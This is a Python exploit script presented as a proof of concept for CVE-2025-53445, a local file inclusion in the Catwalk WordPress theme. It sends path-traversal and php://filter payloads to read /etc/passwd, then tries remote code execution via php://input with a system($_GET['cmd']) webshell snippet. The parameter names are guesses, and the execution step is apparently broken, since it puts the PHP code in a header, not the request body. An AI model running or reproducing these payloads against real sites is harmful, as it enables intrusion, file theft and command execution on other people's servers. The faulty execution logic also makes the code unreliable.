CVE-2025-53445

# CVE-2025-53445 PoC - Catwalk Theme Local File Inclusion # Affected: axiomthemes Catwalk WordPress Theme <= 1.4 # Type: PHP Local File Inclusion import requests import sys def test_lfi(target_url, file_path='/etc/passwd'): """ Test for Local File Inclusion vulnerability in Catwalk theme """ # Common vulnerable parameters in WordPress themes vulnerable_params = ['template', 'page', 'file', 'theme', 'load', 'inc'] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } for param in vulnerable_params: # Try common LFI patterns payloads = [ f'../../../../{file_path}', f'....//....//....//....//{file_path}', f'php://filter/convert.base64-encode/resource={file_path}', f'/../../../{file_path}' ] for payload in payloads: try: test_url = f"{target_url}?{param}={payload}" response = requests.get(test_url, headers=headers, timeout=10, verify=False) # Check for file content indicators if 'root:' in response.text or 'bin:' in response.text: print(f'[+] VULNERABLE! Parameter: {param}') print(f'[+] Payload: {payload}') print(f'[+] Response length: {len(response.text)}') return True except requests.RequestException as e: print(f'[-] Error testing {param}: {e}') return False def test_rce(target_url): """ Test for RCE after LFI - using PHP wrapper """ # Test PHP code execution via LFI + wrapper rce_payload = 'php://input' headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/x-www-form-urlencoded', 'phpcode': '<?php echo "VULN_CVE_2025_53445"; system($_GET["cmd"]); ?>' } test_url = f"{target_url}?page={rce_payload}" try: response = requests.post(test_url, headers=headers, timeout=10, verify=False) if 'VULN_CVE_2025_53445' in response.text: print('[+] Remote Code Execution Confirmed!') return True except: pass return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-53445-poc.py <target_url>') print('Example: python cve-2025-53445-poc.py http://target.com/wp-content/themes/catwalk/') sys.exit(1) target = sys.argv[1] print(f'[*] Testing CVE-2025-53445 on {target}') if test_lfi(target): print('[+] LFI Vulnerability Detected') test_rce(target) else: print('[-] No vulnerability detected or target not affected')

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